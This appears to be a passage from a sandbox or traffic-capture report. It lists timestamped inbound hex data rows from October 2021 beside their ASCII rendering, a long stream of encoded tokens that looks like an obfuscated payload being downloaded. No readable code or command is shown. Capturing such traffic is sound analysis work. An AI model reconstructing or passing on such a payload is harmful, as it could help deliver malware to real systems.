74 20 59 78 20 59 4b 20 51 4b 20 6f 78 
Data Ascii: YR EQ Et Kt oOt Ko OOt OxQ OOE oE Ek RK YY kK OOK Y EO KO Yx Kk RR to tK OOK OOt OxE kk KY Kk 
Yx Rx oKR kt Qk EO O Yx Kk RR Rk oYO OOK OOt oQ OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo OKK oO Ko Rk OKt 
OOK OOt oQ o YE KQ Yx tx Ko Oxk OOt OxQ Ooo oR Kt Yx YK QK ox

2021-10-29 15:55:36 UTC 1652 IN Data Raw: 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 59 20 6b 51 20 4f 4f 6f 20 4f 4f 59 20 4f 
4f 74 20 4f 78 74 20 51 74 20 59 59 20 45 45 20 59 4b 20 6f 78 78 20 6b 6f 20 4f 52 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 
20 52 59 20 45 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 20 4f 45 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4f 20 45 4f 20 45 
45 20 4f 4f 4b 20 4f 6f 20 4f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 78 52 20 59 6f 20 6f 45 59 20 6b 59 20 4f 4f 4b 20 
4f 4f 59 20 45 78 20 51 59 20 59 78 20 4b 6b 20 59 52 20 4f 51 20 6f 4f 6f 20 4f 4b 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 2
0 6f 52 20 59 4f 20 59 78 20 59 4b 20 4f 6f 74 20 6f 51 20 51 59 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 45 20 59 59 20 45 51
20 6b 78 20 4f 4b 78 20 4f 4f 
Data Ascii: K OOK OOE RQ OOK Yx Kk oY kQ OOo OOY OOt Oxt Qt YY EE YK oxx ko ORK OOR OxQ OOk RY Ex Yx 
YK QK Oo OEQ OxQ OOo YK oO EO EE OOK Oo OKo OxQ OOo YK oxR Yo oEY kY OOK OOY Ex QY Yx Kk YR OQ 
oOo OKx OOt OxQ OOR oR YO Yx YK Oot oQ QY Oxk OOo Yo EE YY EQ kx OKx OO

2021-10-29 15:55:36 UTC 1653 IN Data Raw: 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 74 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 51 20 59 
45 20 45 78 20 4f 4f 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 45 20 59 45 20 59 4b 20 52 45 20 6f 45 59 20 4f 6f 74 20 
4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 59 52 20 59 78 20 59 4b 20 6b 6f 20 4f 6f 52 20 4f 4f 4b 20 45 78 20 
6f 4f 51 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 6b 78 20 51 51 20 4f 4f 45 20 4f 4f 45 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 
59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 6f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 
78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 59 20 4f 78 6f 
20 45 45 20 59 45 20 4f 78 20 6f 45 
Data Ascii:  RY k Yx YK QK Qx tR OxQ OOo YR YQ YE Ex OOx OOK OOt OxE QE YE YK RE oEY Oot OOY OOt OxQ 
OOK oR YR Yx YK ko OoR OOK Ex oOQ Yx Kk Yo Et kx QQ OOE OOE oYE OxK Kk Yx YY OOE ORo ooo OxQ OOo YK 
oK Y YK kK Oox R kY OOo Yx Yk QE OEY kK OOK OOY tY Oxo EE YE Ox oE

2021-10-29 15:55:36 UTC 1654 IN Data Raw: 59 6f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 78 59 20 59 4f 20 59 4b 20 
6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 59 20 4f 
78 51 20 59 6f 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 45 78 20 74 51 20 59 78 20 4b 6b 
20 59 52 20 52 78 20 6b 52 20 4f 4f 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 4b 78 
20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 
4f 6f 6f 20 6f 52 20 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 4b 20 52 51 20 74 4b 20 59 78 20 4b 6b 20 59 52 20 
6f 74 20 6b 45 20 4f 4f 52 20 4f 6f 78 
Data Ascii: Yo YK kK OOK Ek Oxk OOo Yx OxY YO YK kK OOE OOt OxQ OOo RO Kk Yx YY tQ RR OOY OxQ Yo Kk Kk 
Yx YE kK OOK Oxx Ex tQ Yx Kk YR Rx kR OOO oKk YY OOo Yx KQ oE oEx OKx OOK OOt OxY kk Y Kk Yx Rx EQ tK 
OOt OxQ Ooo oR Q Yx YK QK OoO OOK RQ tK Yx Kk YR ot kE OOR Oox

2021-10-29 15:55:36 UTC 1656 IN Data Raw: 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 6f 4f 4b 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 
20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 
51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 74 6f 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 51 20 4f 
4f 45 20 4f 6f 4b 20 4f 4f 74 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 
20 4f 59 
Data Ascii: OOt Oxk kY ooR oOK Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK 
Oot o to YO Kk Yo EQ kE QQ OOE OoK OOt KY RE OQO Oxk kK OOK OOR to ORx OY

2021-10-29 15:55:36 UTC 1656 IN Data Raw: 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 
20 59 4b 20 51 4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 52 20 6f 52 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f
4f 59 20 6f 20 74 4b 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 74 20 4f 4f 59 20 4f 6f 4b 20 4f 4f 6b 20 51 45 20 
59 20 59 4f 20 59 4b 20 6b 6f 20 4f 78 78 20 45 4f 20 52 52 20 51 78 20 45 59 20 59 4b 20 6f 52 20 4f 4f 52 20 6b 4b 20 4f 
4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 6f 78 20 45 6f 20 59 52 20 4b 59 20 59 6b 20 4f 6f 4b 20 4b 51 20 4f 4f 74 20 4f 78 51 20 
4f 6f 6f 20 45 45 20 59 52 20 45 6f 20 52 6f 20 4f 6f 4b 20 59 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 51 20 4b 6b 20 4f 
74 6b 20 4f 45 4f 20 4f 52 45 
Data Ascii: Y Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ oOt OxQ OOo Yo YR oR Kk kK OOK OOY o tK YO Kk 
Yo EQ kE Qt OOY OoK OOk QE Y YO YK ko Oxx EO RR Qx EY YK oR OOR kK OOK Oot OoR Oox Eo YR KY Yk OoK 
KQ OOt OxQ Ooo EE YR Eo Ro OoK YK OOt OxQ Ooo OQ Kk Otk OEO ORE

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:36 UTC 1657 IN Data Raw: 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4b 59 20 4f 4f 6f 20 
59 78 20 59 6b 20 45 4f 20 4b 4f 20 52 51 20 4f 4f 74 20 4f 78 6b 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 
20 4f 45 6f 20 4f 4b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 74 20 59 78 20 59 4b 20 51 4b 20 4f 20 74 74 20 4f 
78 51 20 4f 4f 6f 20 59 52 20 51 59 20 4f 4f 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 51 20 4f 78 45 20 51 74 20 59 45 20 59 
52 20 6f 52 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 6f 52 20 4f 4f 51 20 52 59 20 4b 52 20 59 4f 20 59 4b 20 6b 6f 
20 51 74 20 4f 6f 59 20 4f 6f 4b 20 4f 6f 78 20 45 59 20 59 6f 20 45 59 20 59 4f 20 74 6b 20 6f 59 59 20 4b 74 20 4f 78 51 
20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 
Data Ascii:  OxQ OOo YR Rt Ox YK kK Oox oR KY OOo Yx Yk EO KO RQ OOt Oxk ooK Ko Yx Kk YO OQ OEo OKK OOt 
OxQ OOR oR t Yx YK QK O tt OxQ OOo YR QY OOK YK kK Oox kQ OxE Qt YE YR oR Kk kK OOK OOY OoR OOQ RY 
KR YO YK ko Qt OoY OoK Oox EY Yo EY YO tk oYY Kt OxQ OOo YO oO o

2021-10-29 15:55:36 UTC 1659 IN Data Raw: 51 20 78 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 
45 59 20 59 45 20 52 51 20 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 51 20 59 6b 20 45 45 20 59 6b 20 45 51 20 6b 
78 20 51 51 20 4f 4f 6f 20 4f 4f 4b 20 4f 6f 4b 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 6f 
78 45 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 
59 52 20 6b 51 20 6f 4b 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 51 20 4b 6b 20 59 78 20 52 78 20 59 51 20 74 
51 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 45 59 20 59 52 20 45 59 20 59 78 20 52 51 20 4f 4f 51 20 4f 78 52 20 4f 4f 74 20 
6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 
Data Ascii: Q x tR KR Yx YK QK oQ OxR OxQ OOo YR EY YE RQ OR OOY OOt Oxt QQ Yk EE Yk EQ kx QQ OOo OOK 
OoK OQO OxR Yx YK kY kt ORY oxE OOo Yx Yo oR O kK OOK Oot Ex to Yx Kk YR kQ oKk OOK OOt Oxt EO Q Kk Yx 
Rx YQ tQ OOR OxQ OOk EY YR EY Yx RQ OOQ OxR OOt oYE OxK Kk Yx 

2021-10-29 15:55:36 UTC 1660 IN Data Raw: 20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 
45 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 6b 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 45 45 20 52 20 6b 52 20 4f 4f 4b 20 6b 6f 20 
4f 78 51 20 4f 4f 6f 20 59 78 20 59 59 20 59 78 20 59 4b 20 52 51 20 4f 78 4f 20 4f 6f 74 20 4f 4f 4f 20 45 4f 20 4f 6f 52 20 
4b 6b 20 59 78 20 52 78 20 51 59 20 6b 51 20 4f 78 78 20 4f 4f 4f 20 45 4f 20 4f 6f 52 20 4b 6b 20 59 78 20 52 78 20 51 59
20 4f 4f 52 20 51 6b 20 59 45 20 4f 6f 6f 20 59 6f 20 4b 78 20 45 20 59 6f 20 6b 45 20 6b 6b 20 4f 4f 6b 20 4f 78 52 20 45 4
f 20 4f 6f 74 20 4b 6b 20 59 78 20 52 78 20 4f 6f 78 20 4f 4b 6b 20 4f 4f 4b 20 74 4f 20 4f 4f 6f 20 4b 4f 20 78 20 59 59 20 
59 4b 20 4f 6f 4f 20 4f 4f 59 
Data Ascii:  Kk Yo ok kY Qk OOt OxQ OOo Yx YK Yx E OOO OOK OOk Qk OOo Yx KQ EE R kR OOK ko OxQ OOo Yx 
YY Yx YK RQ OxO Oot OOO EO OoR Kk Yx Rx QY kQ Oxx OOO EO OoR Kk Yx Rx QY OOR Qk YE Ooo Yo Kx E Yo kE 
kk OOk OxR EO Oot Kk Yx Rx Oox OKk OOK tO OOo KO x YY YK OoO OOY

2021-10-29 15:55:36 UTC 1661 IN Data Raw: 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 59 78 20 59 
4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 4f 20 59 4b 20 6b 4b 20 51 78 20 4f 4f 52
20 4f 78 51 20 4f 4f 6f 20 4b 51 20 4b 6b 20 59 78 20 59 4b 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 78 74 20 6f 
20 59 4f 20 59 78 20 74 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 78 20 4f 4f 6f 20 59 78 20 45 45 20 52 59 20 78 20 6b 
4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 4f 4f 4f 20 4b 59 20 4f 6b 51 20 4f 78 4b 20 59 4b 20 6b 4b 20 4f 4f 59 20 6b 78 20
4f 6b 51 20 6f 6f 78 20 59 78 20 4b 6b 20 59 4b 20 45 78 20 51 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 20 4f 78 20 4b 
6b 20 59 78 20 52 78 20 74 59 20 
Data Ascii: Kk Yx YE kK OOK OOt Qk OOo Yx KQ Yx YK kK OOK OoO OxQ OOo Yx KK YO YK kK Qx OOR OxQ OOo 
KQ Kk Yx YK QK OOK OOt Oxk Oxt o YO Yx tY kK OOK OOt Oxx OOo Yx EE RY x kK OOK Oot OxE OOO KY OkQ Ox
K YK kK OOY kx OkQ oox Yx Kk YK Ex QQ OOK OOt OxE E Ox Kk Yx Rx tY 

2021-10-29 15:55:36 UTC 1663 IN Data Raw: 4f 78 6f 20 74 6f 20 4f 4b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 45 20 6f 51 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 
59 52 20 52 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 6f 4f 20 4f 78 4f 20 45 4f 20 4f 4f 78 20 4b 6b 20 59 78 20 52 
78 20 45 6b 20 6f 4b 74 20 4f 4f 51 20 4f 78 51 20 78 20 6f 52 20 4f 78 51 20 59 78 20 59 4b 20 51 4b 20 51 4b 20 4f 6f 4f 
20 4f 78 74 20 4f 6f 78 20 51 45 20 4f 4f 78 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 59 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20
59 52 20 51 45 20 4f 78 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 4f 20 6f 59 59 20 4b 6b 20 4b 6b 20 52 52 20 45 78 20 51 
20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 6f 20 4b 52 20 59 4b 20 59 6f 20 6b 51 20 4f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 
20 6f 20 4f 74 4f 20 59 78 20 
Data Ascii: Oxo to OKY Kk Yx YK kE oQ Ooo OxQ OOo YR Rk Et YK kK OOY OoO OxO EO OOx Kk Yx Rx Ek oKt OOQ 
OxQ x oR OxQ Yx YK QK QK OoO Oxt Oox QE OOx Yx YK QK oQ YO Oxk OOo Yo YR QE OxR kK OOK Oot EO oYY 
Kk Kk RR Ex Q OOK OOt OxE Qo KR YK Yo kQ Ot OOY OOt Oxt o OtO Yx 

2021-10-29 15:55:36 UTC 1664 IN Data Raw: 59 78 20 52 78 20 51 59 20 74 4b 20 52 4b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 59 20 51 45 20 4b 45 20 6b 
4b 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 4f 6f 78 20 4b 6f 20 45 51 20 45 74 20 4f 6b 74 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 
78 6b 20 6b 59 20 45 52 20 4b 74 20 4b 6f 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 
6f 4b 4b 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 
4b 20 4f 6f 78 20 74 20 6f 6f 78 20 4f 4f 4b 20 59 78 20 52 4b 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 
20 4f 4f 4f 20 59 78 20 4b 6b 20 59 52 20 4f 4b 6b 20 4f 6f 4b 20 4f 59 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 51 45 20 4f 
52 20 59 78 20 59 4b 20 51 4b 20 4f 6f 
Data Ascii: Yx Rx QY tK RK Oxk OOo Yx YY QE KE kK OOK Oot Qt Oox Ko EQ Et Okt Oo OOK OOt Oxk kY ER Kt Ko 
Okt OK OOK OOt Oxk kY ooR oKK Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox t oox OOK Yx RK tR Kx kK OOK Oot 
RQ OOO Yx Kk YR OKk OoK OYK OOt OxQ OOk QE OR Yx YK QK Oo

2021-10-29 15:55:36 UTC 1665 IN Data Raw: 4f 4f 74 20 4b 6f 20 4f 4f 45 20 59 78 20 4b 6b 20 74 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 
4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59
78 20 59 4b 20 4b 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 6f 4b 4b 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 
4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 4f 20 52 20 6b 6f 20 4f 4f 4b 20 4f 52 59 20 4f 78 6b 20 4f 4f 6f 
20 59 78 20 52 4f 20 59 78 20 59 4b 20 52 51 20 4f 20 74 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 6b 20 4b 6b 20 4b 4f 20 
51 78 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 4f 4b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 
20 52 51 20 74 4f 20 59 78 
Data Ascii: OOt Ko OOE Yx Kk tK YY kK OOK Oot OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yo Kk Yx YK Ko OOY 
OOt OxQ oKK YO Kk Yx YE kK OOK OOt Qk OOo Yx KQ KO R ko OOK ORY Oxk OOo Yx RO Yx YK RQ O tK OxQ OOo 
YR Yk Kk KO Qx oYY Kt OxQ OOo YO oO ooR OKE kK OOK OOE RQ tO Yx

2021-10-29 15:55:36 UTC 1667 IN Data Raw: 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 4f 
59 6b 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 74 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6b 20 59 4f 20 59 4b 
20 6b 6f 20 51 51 20 4f 4f 59 20 4f 78 4f 20 51 74 20 59 4b 20 4b 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52
20 74 6f 20 4f 52 78 20 4f 45 4b 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 
59 20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 6b 20 59 59 20 6b 4b 
20 4f 4f 52 20 4f 78 78 20 4f 78 74 20 51 51 20 59 59 20 6f 45 6b 20 4b 51 20 4f 52 20 4f 45 6b 20 4f 4f 4b 20 4f 78 78 20 
4f 78 4b 20 51 6f 20 59 6b 20 59 4b 20 
Data Ascii: Q tO Yx Kk YR RQ Oxk OOK OOt OxE EO OYk Kk Yx Kk YQ tE OOt OxQ Ooo QE k YO YK ko QQ OOY OxO 
Qt YK KE OQO Oxk kK OOK OOR to ORx OEK Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ oOt OxQ OOo Yo 
QY k YY kK OOR Oxx Oxt QQ YY oEk KQ OR OEk OOK Oxx OxK Qo Yk YK 
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2021-10-29 15:55:36 UTC 1668 IN Data Raw: 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 45 78 20 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 
20 51 6f 20 59 6f 20 59 59 20 45 74 20 4f 74 6f 20 51 4b 20 6b 51 20 4f 4f 45 20 4f 78 52 20 4f 78 6f 20 4f 52 6b 20 59 6b 
20 6f 45 52 20 59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 4b 51 20 45 4b 20 59 4b 20 6b 4b 
20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 4f 4f 6f 20 51 78 20 51 4b 20 59 78 20 59 45 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 
6b 20 4f 78 74 20 6f 20 59 6f 20 59 78 20 6f 78 45 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 45 45 
20 52 59 20 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 6f 20 4f 4b 45 20 59 78 20 59 78 20 74 78 20 45 6b 20 6b 74 
20 4f 4f 6b 20 4f 78 51 20 78 20 74 
Data Ascii: K Oot Ex to Yx Kk YR Ex Q OOK OOt OxE Qo Yo YY Et Oto QK kQ OOE OxR Oxo ORk Yk oER YE OOK Oto 
OOt Oxt Qx Yx KQ EK YK kK OOK OOt Oxt OOo Qx QK Yx YE QK OOK OOt Oxk Oxt o Yo Yx oxE kY OOK OOt Qk OOo 
Yx EE RY x kK OOK Oot OxE o OKE Yx Yx tx Ek kt OOk OxQ x t

2021-10-29 15:55:36 UTC 1669 IN Data Raw: 52 20 6f 51 20 51 6f 20 45 51 20 51 59 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 51 20 6b 74 20 
45 78 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 74 20 59 52 20 6f 4b 20 4f 6f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 
52 20 4f 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 45 45 20 59 6b 20 4f 6f 4b 20 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 45 59 
20 59 51 20 6f 52 20 4f 6f 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 4f 74 20 59 78 20 4b 6b 20 59 52 20 45 51 20 6b 6b 
20 4f 78 4f 20 51 74 20 52 51 20 6b 52 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 6b 51 20 4f 78 4f 20 51 74 20 52 51 20 6b 
52 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 51 78 20 51 51 20 4f 6f 78 20 52 51 20 74 52 20 59 78 20 4b 6b 20 59 52 20 6f 
74 20 4f 4f 6f 20 51 51 20 4f 6f 45 20 
Data Ascii: R oQ Qo EQ QY Qx tE OxQ OOo YR oQ kt Ex Yo OOK OOt OxE Qt YR oK OoO YK kK Oox oR Oo OOo Yx 
Yk EE Yk OoK Ok OOt OxQ Ooo EY YQ oR OoY kK OOK Oot o Ot Yx Kk YR EQ kk OxO Qt RQ kR Yx Kk Yo Et kQ OxO 
Qt RQ kR Yx Kk Yo Et Qx QQ Oox RQ tR Yx Kk YR ot OOo QQ OoE 

2021-10-29 15:55:36 UTC 1671 IN Data Raw: 6b 20 45 6b 20 4b 59 20 4f 4f 45 20 4f 78 51 20 78 20 6f 52 20 6f 45 45 20 59 78 20 59 4b 20 6b 6f 20 51 78 20 
4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 59 4f 20 59 4b 20 59 4f 20 51 78 20 4f 4f 6b 20 4f 6f 45 20 4f 78 4b 20 4f 6f 52 
20 59 6f 20 52 6f 20 59 45 20 59 52 20 51 6f 20 4f 6f 4b 20 4f 6f 4b 20 51 51 20 4f 6f 6f 20 51 45 20 6f 78 4b 20 59 4f 20 59
4b 20 6b 6f 20 6b 6b 20 74 20 4f 4f 4f 20 6b 6b 20 45 51 20 4b 6b 20 59 78 20 4b 6b 20 45 6b 20 51 20 4f 4f 45 20 4f 78 51 
20 78 20 6f 52 20 6f 45 45 20 59 78 20 59 4b 20 6b 6f 20 51 78 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 59 4f 20 51 45
20 6f 78 52 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 4f 20 6f 6f 52 20 4b 6b 20 6f 4b 20 45 51 20 59 4b 20 6b 4b 20 4f 4f 52 
20 74 20 6f 4b 78 20 4f 4f 52 
Data Ascii: k Ek KY OOE OxQ x oR oEE Yx YK ko Qx OoR OxQ OOo oY YO YK YO Qx OOk OoE OxK OoR Yo Ro YE 
YR Qo OoK OoK QQ Ooo QE oxK YO YK ko kk t OOO kk EQ Kk Yx Kk Ek Q OOE OxQ x oR oEE Yx YK ko Qx OoO 
OxQ OOo oY YO QE oxR kY OOK OOY tO ooR Kk oK EQ YK kK OOR t oKx OOR

2021-10-29 15:55:36 UTC 1672 IN Data Raw: 6f 6f 20 6f 52 20 74 74 20 4f 4f 6f 20 59 78 20 59 4b 20 45 45 20 59 78 20 4f 45 6b 20 4f 4f 51 20 6b 45 20 4f 
74 51 20 4f 4f 6f 20 45 6b 20 6f 52 20 45 59 20 59 78 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 
4b 6b 20 59 78 20 59 4b 20 74 4b 20 4f 4f 4b 20 4f 74 20 6f 45 51 20 4f 4f 6f 20 4b 51 20 52 45 20 59 78 20 59 4b 20 6b 
59 20 4f 78 59 20 52 51 20 4f 78 6f 20 4f 4f 6f 20 6f 4b 4b 20 4b 6b 20 59 78 20 59 4b 20 74 78 20 4f 4f 4b 20 4f 4f 74 20 4f
6f 4b 20 4f 4f 4b 20 52 4b 20 4b 74 20 59 59 20 59 4b 20 45 52 20 78 20 6b 6f 20 4f 78 4b 20 4f 4f 6f 20 52 52 20 52 52 20 
6b 45 20 59 4f 20 6b 4b 20 6f 20 51 45 20 74 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 52 20 59 6f 20 6b 6f 20 4f 4f 45 20 4f 
78 45 20 4f 78 6b 20 6b 6b 20 4f 74 20 
Data Ascii: oo oR tt OOo Yx YK EE Yx OEk OOQ kE OtQ OOo Ek oR EY Yx OoR OOK OOt Oxk QR Yx Kk Yx YK tK OOK 
Ot oEQ OOo KQ RE Yx YK kY OxY RQ Oxo OOo oKK Kk Yx YK tx OOK OOt OoK OOK RK Kt YY YK ER x ko OxK OOo 
RR RR kE YO kK o QE tQ OOo Yx YK YR Yo ko OOE OxE Oxk kk Ot 

2021-10-29 15:55:36 UTC 1673 IN Data Raw: 20 59 78 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 59 20 52 4b 20 4f 45 59 20 59 59 20 59 
4b 20 45 52 20 51 78 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 45 6b 20 6f 52 20 52 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 
20 4f 78 45 20 4f 4f 6b 20 6f 52 20 74 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 51 20 4f 4f 51 20 6f 59 45 20 45 74 
